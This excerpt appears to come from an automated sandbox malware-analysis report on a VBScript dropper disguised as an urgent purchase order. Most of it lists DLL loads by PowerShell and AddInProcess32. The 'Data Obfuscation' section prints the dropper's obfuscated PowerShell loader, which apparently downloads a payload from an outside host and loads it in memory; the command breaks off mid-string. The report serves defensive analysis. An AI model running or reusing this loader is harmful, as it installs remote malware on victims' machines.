                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: linkinfo.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntshrui.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cscapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: policymanager.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msvcp110_win.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: taskflowdatauser.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cdp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: umpdc.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dsreg.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dllJump to behavior
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: winmm.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: urlmon.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: wininet.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: iertutil.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: srvcli.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: netutils.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: iphlpapi.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: rstrtmgr.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: ncrypt.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: ntasn1.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: sspicli.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: mswsock.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: dnsapi.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: rasadhlp.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: fwpuclnt.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: cryptsp.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: rsaenh.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: cryptbase.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: linkinfo.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntshrui.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cscapi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: policymanager.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msvcp110_win.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: taskflowdatauser.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cdp.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: umpdc.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dsreg.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: winmm.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: urlmon.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: wininet.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: iertutil.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: srvcli.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: netutils.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: iphlpapi.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: rstrtmgr.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: ncrypt.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: ntasn1.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: kernel.appcore.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appresolver.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: bcp47langs.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: slc.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sppc.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: linkinfo.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntshrui.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cscapi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: policymanager.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msvcp110_win.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: taskflowdatauser.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wintypes.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cdp.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: umpdc.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dsreg.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: onecorecommonproxystub.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasapi32.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasman.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rtutils.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc6.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dhcpcsvc.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dnsapi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rasadhlp.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: fwpuclnt.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: schannel.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mskeyprotect.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncryptsslp.dll
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: winmm.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: urlmon.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: wininet.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: iertutil.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: srvcli.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: netutils.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: iphlpapi.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: rstrtmgr.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: ncrypt.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: ntasn1.dll
                      Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeSection loaded: kernel.appcore.dll
                      Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32Jump to behavior
                      Source: Window RecorderWindow detected: More than 3 window changes detected
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
                      Source: Binary string: F:\Source Coder Vb.net C#\crc crypter\Source code UpCry\Metodo DF\ClassLibrary3\ClassLibrary3\obj\Release\ClassLibrary3.pdb source: powershell.exe, 00000004.00000002.3114024444.000001D749E50000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D73305A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2365621636.000001D731CBF000.00000004.00000800.00020000.00000000.sdmp

                      Data Obfuscation

                      barindex
                      VBScript performs obfuscated calls to suspicious functions
                      Source: C:\Windows\System32\wscript.exeAnti Malware Scan Interface: .Run("powershell -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' +", "0", "false");
                      .NET source code contains potential unpacker
                      Source: 13.2.powershell.exe.20b77850000.2.raw.unpack, -.cs.Net Code: gr6bLqNKA2Mf7CYjeeS System.Reflection.Assembly.Load(byte[])
                      Source: 13.2.powershell.exe.20b5f9cffb8.0.raw.unpack, -.cs.Net Code: gr6bLqNKA2Mf7CYjeeS System.Reflection.Assembly.Load(byte[])
                      Source: 20.2.powershell.exe.2a60f57db18.0.raw.unpack, -.cs.Net Code: gr6bLqNKA2Mf7CYjeeS System.Reflection.Assembly.Load(byte[])
                      Source: 25.2.powershell.exe.1424ededb60.0.raw.unpack, -.cs.Net Code: gr6bLqNKA2Mf7CYjeeS System.Reflection.Assembly.Load(byte[])
                      Found suspicious powershell code related to unpacking or dynamic code loading
                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeAnti Malware Scan Interface: FromBase64String( $rtnbm ) ); $lpnhb = $lpnhb[-1..-$lpnhb.Length] -join '';$lpnhb = $lpnhb.replace('%XRqhI%','C:\Users\user\Desktop\Urgent Purchase Order (P.O.) No.477764107102024.vbs');powershell
                      Suspicious powershell command line found
                      Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qKKzc = 'Ow' + [char]66 + '9ADsAKQAgACkAIAAnAEQAMQ' + [char]66 + 'EACAARAAnACAALAAgAFgAUA' + [char]66 + 'VAHUAaAAkACAALAAgACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHMAaQ' + [char]66 + 'tAG8Abg' + [char]66 + 'hAHMAdA' + [char]66 + 'vAGwAZQ' + [char]66 + 'yAGMAaQ' + [char]66 + '1AGMALg' + [char]66 + 'yAG8ALw' + [char]66 + 'pAG0AYQ' + [char]66 + 'nAGUAcwAvAHMAZQ' + [char]66 + 'yAHYAZQ' + [char]66 + 'yAC4AdA' + [char]66 + '4AHQAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJw' + [char]66 + 'JAFYARg' + [char]66 + 'yAHAAJwAgACgAZA' + [char]66 + 'vAGgAdA' + [char]66 + 'lAE0AdA' + [char]66 + 'lAEcALgApACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAKA' + [char]66 + 'lAHAAeQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HAC4AKQAgAFoAYw' + [char]66 + 'CAGMAYQAkACAAKA' + [char]66 + 'kAGEAbw' + [char]66 + 'MAC4Abg' + [char]66 + 'pAGEAbQ' + [char]66 + 'vAEQAdA' + [char]66 + 'uAGUAcg' + [char]66 + 'yAHUAQwA6ADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwApACAAKQAgACcAQQAnACAALAAgACcAkyE6AJMhJwAgACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAUgAuAGcAUw' + [char]66 + '6AEMAQg' + [char]66 + 'sACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TADQANg' + [char]66 + 'lAHMAYQ' + [char]66 + 'CAG0Abw' + [char]66 + 'yAEYAOgA6AF0AdA' + [char]66 + 'yAGUAdg' + [char]66 + 'uAG8AQwAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAWg' + [char]66 + 'jAEIAYw' + [char]66 + 'hACQAIA' + [char]66 + 'dAF0AWw' + [char]66 + 'lAHQAeQ' + [char]66 + 'CAFsAOwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAgAD0AIA' + [char]66 + 'YAFAAVQ' + [char]66 + '1AGgAJAA7ACkAIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAAgAD0AIA' + [char]66 + 'nAFMAeg' + [char]66 + 'DAEIAbAAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'sAGsAeA' + [char]66 + 'iAHoAJAA7ACkAKA' + [char]66 + 'lAHMAbw' + [char]66 + 'wAHMAaQ' + [char]66 + 'kAC4AbA' + [char]66 + 'rAHgAYg' + [char]66 + '6ACQAOwApACAAJw' + [char]
